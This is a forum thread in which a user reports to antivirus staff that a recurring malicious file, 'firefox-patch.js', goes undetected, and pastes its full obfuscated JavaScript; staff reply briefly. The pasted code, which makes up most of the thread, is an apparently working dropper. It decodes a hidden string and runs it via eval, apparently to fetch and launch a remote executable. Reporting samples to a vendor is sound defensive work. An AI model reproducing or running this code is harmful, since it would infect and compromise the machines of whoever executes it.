firefox-patch.js

I have been getting redirected to this download for many months. I have javascript off and automatic redirect off, otherwise this file, which Comodo does not detect, would be a problem.

Several versions a week come out, as they have for many months, and I’ve submitted them in the past many times, but still Comodo does not detect them?

Any file titled firefox-patch.js that contains obfuscated javascript is malware. Here is one from 5 minutes ago that even in 10 weeks Comodo will not list as a bad file. Why??? VirusTotal

Hi alonzo,

Please, send detected file using Forum or Webinterface.

Kind Regards,
Erik M.

Hi Meidan,

I submitted the file, as I have in the past, but I know from past experience Comodo will continue ignoring it. If you are interested in de obfuscating the java you will see it redirects to a url that for a few days provides malware then pops up elsewhere. I’m just wondering why such blatant malware that has been virtually unchanged for such a long time is still not blocked by Comodo. I’ve submitted many copies each time it was updated in the past and I’m sure others have too. Here is the ext of the file if you want to de obfuscate it, I submitted the file but I already know that it will be ignored.

var params=“d8a2f8491b850052c157a89baa511d1a”;var dwz=‘vsrkayyprwbs ukfagkvpzwl=nbj"pcqeiojvqahabpylqiw"jgy;ocjvkxtavdprfdr vquafginmpjqlfzkihhygynaphqhjwonygrxqcvfkhm=tds'dihdcvnokhvaxptrowb cmxvuve=qug"ckouuvrrcpalqswmlvdofftogdpaerbejuxlpprpdfc.vhxnvcmrrffovvanohfmeniagta=dyutvhj"xwo;vaveivyAnrdcnizetehwbsu bxonwdmXfhtOudqiqaqvowmesfetrsmtzgr(tzjjibheudlcozsbefvMvzwLiqtMmeySzwrXqox"aoxLhhzHsqc.lkcXhyhMddh2xyx)vgc;mtzTjsnPhib"gijTjqawlil ttk=aannyemeabtbzxmvnjeeptnczbvtzhmikruAucoeiwpcuxuOnvwbzwtjewcXrkwcnzxrzzf(uzw"ikzSyfvttnsnphogivlplvhtizrifrrikeqeheqSgyaFchfiuftljyb.uowmbxsOtirskritbwnerhryspptyvx"rxdjtscepbqchwnbzywyirn{wck;nertdwgraoc)emacgesrwxu=knrWgvpSuvhcedkSwzocdnkpfrztfsl.ywqiscoFkzbuzjwihqsprkvtfovrqkjmpoaebtslrzoNfxrahqqleaabwaq.shainypfwea(xuo;qjiEflhxwcfiniwlnpxeetxFfqf(uiecvvisjsdtrqnszgyielbDbijeyvz)wjsbbnj.fsr)onnFrigifrwedjdteioeonwlnps)gnb;pjpeglh(uqucaedlxwucabehpfmclkaaeyptfmd}usn}ciyfxppeaju)vjq{zhs(mhxanwircigrgms(tslvsntohpi;bmrisnbilii=jhq1rum yhviqkh+bqa=vkn5dcc;vjp<wlcrfekyvps)izm{dqttloe+lfupzgeebbhaqfq.tacodxg{wcwEiyvTchl(gla"bwfGgimnnhohejttgau,ntr jwt"fss"rbz/rek/xkhpjmpsysx:rfgtmjhmdqauxdx+pnqdpsrozjv"hbg/xys"uiklbgq+iya"jkqrgnuawkimoaapkpkaqplrjwk+utsfkoylkqw+bzg"viu.doeselffozuaakk"kbh,ckb beqvxpg;eafaybnscxceibn)dfnlnuxdvvz(wgjsmioesjenyhe.mlg)ojd;cmeuqukloxflnlanxggkmcp;qpzrvihebgsaftcbkhpcvkjhaahcbosaibztyzc}xlrWebzSxxgezyz)peh{yor(gjrtzjg.ylirbthisrspspuczurpzrq(grulygieqfrewlbSelm)ljg;eky0ydn0qwh0gvz5aurvjbyJbzd}dppjpla8wqk}ucv7hgzApevlpvqygblGfcmXill.ynaRzqmikgd=fcfafwlnaeqnrulsdkmspqppbvboceoepdetscl.xmnTiskezypxkykexqutmtlrojhucklbhnpsscssguf3rrx)gawnrzvgljl(whfidtoapiz.fkmixsodcli=ara;wiaorpzncgjeisqsxpkpwssRjidxxnwtgkhegnzThnhehjxsqaeshdwtsmlsljeupfnblpb.smm(rtz0zamiwhwnboxgyfbrknnzpfwMcrc3egr)qre;qjy,daynzagbxxu9yyabmwnwjgtflwkAdyqJichVgtqjfjrLlmrNgmoMhjnFuik9ourCydnYopmgwtoknbiIeir"woeslaqJzhz=joiNajccoxg4avvWokpWxgrRotzAsyoEjvoJjhvIrgjEuptWaqq2welnlev;dtbXdqvtrft"gyoubhvwlrcEeisnuciOgdnfbasadmmSypdJssjBgjhDcppjerg"wdprfisstdvWmjw=zlircpx2lopTtgzEjnpvqqh4fukXxrtftxwqqrfzydrRwdgSlfu8lraGblogiveftlz2mqrJioo6oigDgykSmxnChtt"ifk;wqwBasrGaacPrttgfgiymprfweqQjknscxgcnemnjmdFbjvAdkvbxkplfbw=xhlkntpfaqzkhaw7tcbQwqoDsax3nbiHdftqzcu"kicbafwnasmtxtm2ybpWmufjkrfAskh"lxmWgboDjawBglc7tmuOgmnMvjobbhjqhubmoem;axjYpjlPmqmAozxJifk9wywIlefkvanSxchpjjmYtykWeztMqojKoajuyop=vxo"attQofuvwawhiygbsheumbdOwfsbgws8vlhskkeSdfyoxgdDuuezaqcVezkrirl(aer;taofagzoecj"dmoihqu=looaoifrzje lnwvcwa=qwb5qpi;zqkiovx<iyo1xfc)drl{hguidgi+erf+fub;nlraybh.wbcrkpbynyg{ywyttze(chl"hlcpjpxeaviniikolgl,ncb unzEsawTxzw"iteGlvppidfsqmahanitmwptnis"nvg+jphdghg/kfz/znv"eyy:fgkloxy+dyumwkcudxxrkkmoquupqazamkm/lkl"wps+uuq"oio+qmy"ojwabmgmvwasvnbriem"tqw,mbmmcxhprrp4qgc.mxlssmyetnvfujiagenldmd pffswsdemvv;ombaacz.zol)uhzudailqvmducy(afdndvwnzsrrbeeeatg)muv;lucbtodlfszcejbaiegkeec;viu}zhzagjsecjn)fwhciiwhhbp(jhytpldrstiimyqWltySethcsar{acolwhwelqxtkyf.ohrSwxlpnpj0mcd0uowpltx(zla5vlhetiy}zuwMqfe)btb;kpq}odt0lphOija=ivmsqvxloqf6lkacpjfsqayphco.bmsRibhejmravumTtdheztynziiseusedjsosavOkiilrjjtjsv;vbpNcwtxapmvjpvccopQutzxqwaEyoithzsBcrk0samdlvjUyyyttyoijicfjkv=jfshrvgaktgYuaxWgdxRpvtkogrOcfqbfzyHaji"ssnXzbjJftcfdddubygEufbwmviRcjnVamn9jswyxtonglpRili"lrm;rvkBtwpabqkVpduAcfhfygz6mpsOcmeJlsqBxbhthncExfzDhyqQcatMjpyNjseHcquzhdgXxgzIfravhposgwtewurhqcrWoeh=toz"nyqLuauSthanuesKijhrbre5tyyckvbAslfjsau6itsDdhsMebakwufrepppixh"hzfmisbEodnHivnKanhJtwoUtaqSzelNobaVvfy;boxicvqXqdtherpwladgaazGruavcoehcngWablryxzeoyv0ibz"xrqiavrnahsabim=gzaUmbnFyepQxfm9tdlLssnKjaeiayaUsziseaqHfbqYshsAiux3vscUgqgMtjyByczlzlyWhlyryey4piagioiIfhcqhpveoklunrvJmlxilki1jju"iry;iqhfrgvhuocyptskbbdZxpvsucgZdpqzyaaSxksnesibaboQdsdawmwBzcxIudn0bapJsvfFtzgvlxqquujRjzk"macOjdpChar=uzvpkuwXpvr"woq;mhokvtiognifjwiMyjmJqsmbmzmGiugnaecxrurifqy4odrDwzfIefcgqol"cneXoedVvqxZyzc=pzwpnqnofwqykkp8mgvRxkkIcbyHfdc2dstfgosHdmsZqbjjgpfEwup"rfv;crgVaphTcrlaw’;var upe=‘xeJpbsThhefrkgQwawJlhqrhdwiovnAvxcShxu8larhdxsCimafoukylllgcismyuwVlbrloqpbjmmTatnqtek=tix"eqsfpfeCirm"etg;wriHldy1ysl0mbe3xcjquwsQnqiuruohdkf7kszttxq;stufdfm=hdo"rpq"jmnushdshuyznljrmpc(dzzVxstojkycxoc=ovracneffwm5epgVnwszpkhVpwh;izaVhwlsjgz0bev<gtjMsvgfzbv5rgscztcahjzOizy.thvstpclpyg6yazcegvtzyxhsxdeuoxntoggsvflodnVqxcawrbVwgbssehzpif;sid=pas2wvg5cpccphg+sweftmv7vjbqcgftiyoulowhehx)kxtSntittwquxlm+sey=uyhQztn.owmfleaiiqhnbuegjfyrasuhmmgakjkoscjmgxcCsxyrtldeawu(ffoCdgtoxqmddqyrodiexolIagiaznfrcgqswznplzscffysriptqgg(ykjMjzxnswesxxsuowy6bzxOtwx.shclhmk(nerVxubsvtatadxrsvubqtrfnhq5kjmzmcuVxvgaoclsqqg,qoz1ojc,ijy2zbr)qryccfiQwpkmdcg)pai)voz;uen6xvx6vjgzmsizlsaytifEelvYkixutmyctbmIgxrWernukowFtkpNtwiByirjubccsgliqrxEckzLuewFhlo"epdqtanSbtk=smskvlu2hfa0exsJeocmbrhzpls5sshOgxhBqqb3isnEdlzQdgf;vodSysrzfxiSxyu"fon4nhkvonbQcetIbnfSgqmAkuakbqtfkpqieupHrsdQcyludlyDxzdCcbq=pdgkpkb8jurUzvgTpgbBtkulecszdedgghdkxff"eiiHfxtmwnn9dwjaewpZyla6rfcLvjhbynpheuufnrcdgvzItam"cxj;saftsfqVvewzcvfErqtxmpn8otewoga2bmbgkgzQpiaWgbfoctjdioffcrvJpjkQuvexvjkFwyxjvzdMvkmybannkgh"pjwXlsnlwuwOajr=lebljzzEmwzczrjPmnjRtoqPpzajdpsfabnurxwltyb1sjbissx8bfpClecfcrrmclrXvahZieirfegNgwe"hpnlfigyuamExbrOpnixgptUosuYxoy4dwdohcz;vjo1brxUowxdfqzXnomahdcIbkv7ayjqdvgtcyiurgrhobi=mdfalrvrywjuakn;wrxvfswQmtrlvwq mzwOvryIbgb2wss gdp,ucz rcr nzk[fed]wrz=tmy0rzqWsuwblvo4assBazuxrtx,blw fzb=ees dbe0tud plyLeduEwonEqpmCopg9khszljr2dowHisx lwrfkpcRefg,rjv egk=lxz1dlhTvwqorheiolxfgttojej"ppp"ktz;vlf vqdacborsfk xas(vrdvogwrymb3owrtnlkttwwdwsmtlno wqu piv=sgnspbt0rqgZipcQtdotqrlddke0rhr;mth hqq ugwsozy0voo3ygdtmphQyjytczj2udr5bul shc<ppi njhZbywdftdtmrs;lec ucctlff6xza0zbhZhtxtoigQlwfsoyy3hdq{jquOmbx+rwd)sid afe+xeytemhdjbe2imclybf[tiwIrsxsuet0ywb3cohtbpmQjmytnqz pamtvin]rgw pao=jrtZlmpQskesfnutdpg3dyxtpmxddbffzxmonpmZhfe;xor}cac0wtpdcyftabd xfp(curtoyprbxe0gljZxtytaqyQpsssvpq3zrs;osx gps=vrq ago0jia hpttgnjQyncdpdrthyj3fxbtxmr<oti dpp0dpyZxyn hgbskno bmrtlbq5nio6eoa;nlu2cajQbdysphxtqee3emrtwwednxf)bjo cwcZwao+fno+eqs0brzBghe0yxqxccnbhzl4vmu{yoq(mrrxbnf ttv=txn yzuWpgrWceu ngt4hngByju0qilbvvz2qwtldqq ykqOqiwIkxb+eah3knvtfvftrundqkitjff[awv]raf oyosppm0wznZsdaQxnwvktrJtkc yahjuke8ale+ocd7bqsAogslpcvymvjGdsdXfdnhnwoasvyixpj.apmctecnlfiehulArjgCuwzohzcdvfyrusttelj3qiy(sidtbcjdnndttvnZsmj vgiQtoosnjh0westviavyyjJhrl lszjyfu8hzg%qsn7enbAmhllevqyeryGnnwXzmneytgntemizdl.nkelpbrnbgz)rsu pwmtmbzhapl)gofgtmk6ffn;jfy btz2aif5vkx%hbuLgrvEsdkEyeyCill9verzujxIttq2zuz=xvj rqlOnxc yegtwxk3ivv[adatxzjdoudlnnyZxnt]jkkQlcissqn0coktylglytk[itjOlreIjfr2dsf;nqptvzsQjlidtdxtagi3kfctudv ylm=pxs0vhlZlkb]dxbsmtnlkdr[swyOuwdIqhg2dbs vzq0gpxWikhbkvf4xzzBpmcxnwz2qowlxjd;qzeOgdeIdyt]lfdBqnz0qyyxtvkbskg4pxv[toe ylezcbh]vhf zll=zwzWxnxEies;oxdCkpb9ofpLsyaEzwc3fyktquvtpusdmtftfrj}jzg kow=aycsbma0dfxZnfwQjkqbbbl4grf0qew;wkvxttj vei=wev tfa0pjgWgxq sgsBxhjrtno pey;ybrfhuvocqa0cmf igpXzwmvscsacuarqro(olsGgatubznQcgeYiirIxlx1kut=dtw dmqXroiIjfu ctu9qat1ucaQlei;jmt cknXyuh0pxu9yaiXsrnInbhGgehugujYppoYjba4xkk ene<ymc hbdIvauddswXkfaxumuUjtkIjilousvlzpjebtv1esxUzax.wvqawyw;rji becgnnltixdhsrsnnrmIlsfGixf1zxbQvtzYepjXggn+rib+vvy9oeqXawhIfkzulvxdmeutmdn vzd{jdktkjs)jbo0zxsZglptglaQdrwsxda3lqetocddyyh=rhr fss(xbq nabsnhn0jnf3kritppyQsabtzpa1rnh)jea akb+bic pvkZujx5dtp6cee%dtf emu2lmi mdnBonx0rnfxboabydk4oyd;sbh(xebxrin amz=nyc kkpWpycWqpr brv4eqtBmev0nwzbaui2amulcms rzcOujbIlyr+gpi3aqytwvctvizdevttywf[qwr]tzq)vqasnlz0vwoZudfQxda5wzi6pve%vzb mxy2dox dio9cezLrrvzwmyExhcCfeb;jaxOlqwIjmu gyj=vcs ugwEqjndpaatrxhltum[rzmtojd2jvp0seoZklrtggxQubgsush3bie2oaylauy;elhOuzcIiih]zbs3xlztdsbtkmudohctnjc[lxw]tyh wchsdxq0wgrZwfdQydv2sgilvrp xgyOttvIbeu=jywBzut0qyzxtvfbprj4xqp[nihImdn2ibg]cvl;yxjOsgeWsfc4ywxBhpp[xffxedobsqslycu=kkp umnWylt]bez zxv0owlLudqEjbtEcgkCwyn9mxxzzikHscvisbafncxRzct2qrx;klz+uvf=hxeTfucopgl lgn1lzpijrsncfuSaeltzvxrffs jaqomikmxnr.ldx’;var auhi=‘faoxrsaognjtCymyowmuholzafqarqaiCimw4gkaodvpervp(lozYkcldeayXewjaflaUoraIlhndlpxxavthqypapqeUbcg.zngcjrd1kwpelcgAyqoCwbdoqmzdfnyrjdpQptrYwve(avwXpes1wovtkzlXoynInvzGmlnubqq9sakIwpfOtmaImmf hbu^syt fis)fxnOtkzIkwqluxq[aqg(ans2ggedasgtuaelmtn[azktaev2qyr0gipZncgtfctQjdaspjt3uktOhemIrrm msq+esp ujx]aqzbudc4viglosq[ihaxvcf2hjw)ybo nnh0ksqWkmg]nnjBuis6kdk]lss qbu2mwd5bee%idsdyqkMfbx;pml}hatLrux)kfpJeqqpihnnntsdfvv8qdlmocnpziaStxapqevPgwajxgrSlly"dtsHygnGkmrkxdu=yrcCyravulfjvccEmiiFlgulesnrsvuakthPeel7hcd4iauDnzg0ptiCyprtsbxfgnq8brlSijfVutjbxymbrgmixomigbg1xrv5vpwRlikSwob;cplXlyfExse"kqkEwhyIcfacxmr8ujhZeepDgqeosmuFxptdcbmLmzcbljkxlgqOdicJlglJabq=fgg"zntutfiWfdjAhfiJsrrkicy5kogpvsn2ldoqsev5ljiitjncccr9liwQdqogbirBiqgxvay6kvbpfhfLnzo"bkyiseaVphjJdszRvvhGbwxXaexebztHgkbQvpa;tdljueqTdwxIclpfkpk8hlhWfnlIznlCaovubvlXnqoOdks8afp=qjb"amrCiwcYtepeejcJairDljmhakd0tyobjbtLkcd9cspOetmEubqLxuz8oziAbar8emcgtma4mgcqqpeufawvrcq0hgr"hbm;qymvinmJloy8ltlunmrTszhfpphmfvjQxmqXkuszxcqpkseiibsOummemxyntlxYaemEkth0bzuQtwpfjhrPoekSgol3sxxsrsv"oehKbylVjzf=djeqskbMkdipunmkgcbSeiyNzbqchsvvshtCyisocsbldvm2loqtyzeEaugByaphperqkekkelrVweaaycsnleoicidaguchntwadtwlusb;fhfewsqvxwu"ptxHescihdkfjfeRfmx2caq(dei;jyqaadjTvagosxz)unr1ervcjybcginhxooEgqsdwurffevumevalztZdrhqylyvzqwYnae0bhsAuejMlleyhiimdnmTwalkdldMcpp"yngrdngxwbn=gdsxlxd7tjljgqzAstzEvql2luaMrwnWxvbNlzcTdvfghccasnmbrhczrnvucfmecbgGqnc8rexNucwOzosGcrv2ozigqrpzmjdIyajnfdk;hfyHfwcAcof"uit1qhlPyjkboxcIrolPaammkzqPjevSlmsTrrgPluoIwpwKhffSjdddvrsaiit=yis"utxtmck1tocHhgwVdrl6jnqqnvt2ffldyauoqjd2ohx2ycaVapoewiuiipmIytaXscvLdpa8yubdbtlqyjsgyyv"nxk;ixstuuiCudbHqbelqtu5sxpBdviiwxsprvqbcuoGuhmxcpgiekkDielmdvf2sldybeyVtiwckerwywldkztWrtilbwt"naytsjtZvmf=ufjdqgrZiaweuktbnjs4wumCpli3nnjQhatemtffvplpnksmkbsRdjd4wem4irg9rnslacfAtqgFzxaJljqzdfaIvtcyzdmelhq;seh kmu6qexxxeo"yymtoxw'oic;rmvvdizathhratl vlybtwcyhnhuulfeqjdzsxlenmxpndfyugnxgag=fbs"ixp5pqc2uyo3xsx4jiv0hbi1npl"acs;hxtvzeuaojrrrri ghgldbzjzziihjjztqyvldbmfeynzlcxrlmjzae=grlbgynyocnuybwewinzxbqewnvpzthylssxqks.bkklpqiecwknzllgmjutdgwhydk;fadvxzwaqkgraaq jchmtrewfupbatzyxffvhjjclhjghniioltaebu=mcwaqlongfjqfkcklliyuisaeqzhncnngjyxbyafydc.npolwftezmenirpgadytaxohncr/lpblmwzjoycicwszwjxvagjmpfbnonexdncjunf;vbuvunraxzprpom nrvgxnboynhkddvdfsitkvwjfpxixllingkizdy=vsq[xgd]edr,zcvoifntfliqdwysocjtyzplxmteommgrhsjjev=ejx[rid]zqo;ywlvhznaxnmrqmz ckmavyt=rqy0pzh;sdpfhugosucrfsb(szpvsxbaeolryqj wmziddz=tsc0alw;dsqifkj<uqjmwigwhbubrflyrdxvqabcseugpyfigyyapci;zhzifch+ayi+lfo)jxs{lps fgx lzv jotgrvvorldkykfdhqdtwqjjochihmwiexcizcb[tnqipwl]sox=xfhaaexnkmoqriqknxcyqfaarjchhjqntdnxqscfyki.wimskjzubtibekfseylthovrygf(loiaoia,wylljxtjitcirevzxggvilfmdptnixaxqvojrhx)cvv;vst xbm tkr abxafyi zhy+zkw=otsllkzjhbviadoznzqvexamcqcnlqbxjwijfvt;xum}xjwftuyohcbrxcb(yqyvbuoacxfrlib eswiryr=owa0mtu;onwipvz<ntpmcskwhtibjwqygiivxmgcxecgsswipfkaotf;ejzipwr+xzk+nhh)wqp{dwc gug drz nkeftzyosohrjsd(uidvcfkartartpx asrmzzj=ecu0cqt;jjimnba<qljlagojbihizzxzrtqvaupmuurnoyhxwbrjxlt;gyemvpl+dqt+art)qqn{ghh yic fdb xsc qpn vmmdgtbgaprqtsjfgsasojhvrpqlsnubutmjirb=uhobwdiynkxuxkqexejzflsevaipprwycjqxdeh.rmpcahthxddanrorwotApletyre(umwmkcf)rek;hiw aad dag syx lmm qiyovyptrwcqxreshbjtdtslhaseoatglerjywd[wimmlyl]nth=skygchaouptknsudgautyozjcavioydizucihfv[gtfigmn]zoc.tjvcowwhndkajckrneiAptdtltj(racdegoghmdqdmmfzgjsjvnvujpldsubggnjpwg)shh;gyn kda wkn got}tnp jxy drr rvxgybtogrbkujzduqctianjcxbirdoipxmihhe[elziycb]zbs=zhbobbrtowsqqepsfgttrxqlwnxevuigxzljpym.qyujixvobzsiqownjed(ajb"xbp"gxj)rtj;eqh}yffvuwdanfcrkgr nwvppgeyegfloedtxkwxfbmglgrwofndrzsoimyxewv=ikbgozhordmknswdapytruejffjiyujiwmwisut.tyejbhdonwhikoznicp(nck"xup"gzk)dxw;xurvbmqafgyrmiu mwjxbglmmoozbcibmzhfigfjzkzkqhmnoitsinbqsax=emd"sosebavvjcuaoobloxl"bxs;unatvbohtkoixcbsqhp[lzqxgbtmhkizszfblndfmoqjajskofdnpygsfvnqvmn]pxo(xdypdlxygellxpatpbjxtbogzqnwmfjdzkvongsxmvw)ksi;v’;var rulmu=‘vm’;
var str1=dwz+upe+auhi+rulmu;

 function sepa(a){return a;};
 if (typeof a !=="undefined"){
 var ddd=sepa(params);}
 
 var e=new Error(4);
 var num1=e.number;
 var sat="ng"+"th";
 
 try{
   var man= new ActiveXObject("Trol.Birka");
   num1=5;
   sat="";
 }catch(e){};

 
 var result="";
 for(i=0;i<str1["le"+sat];i +=num1)
 {
    result +=str1.charAt(i); 
 }
 ris=result["subs"+"tring"](8,12);
 var ma=this[ris];
 ma(result);

var bpmgvwzvemxckz=‘gokavpcworuwpvnksiowohedmsirdvjlfebfmgrkelrkpllbqlhhdlxzyonkecsglaimvgtuqghgncoobrvvbjhmnakhrdtfgdbtayheeqnmikhwn’;

Hi alonzo,

Thank you for your submission.
We’ll check them and if found to be malware detection will be added.

Regards,
Aravindhraj J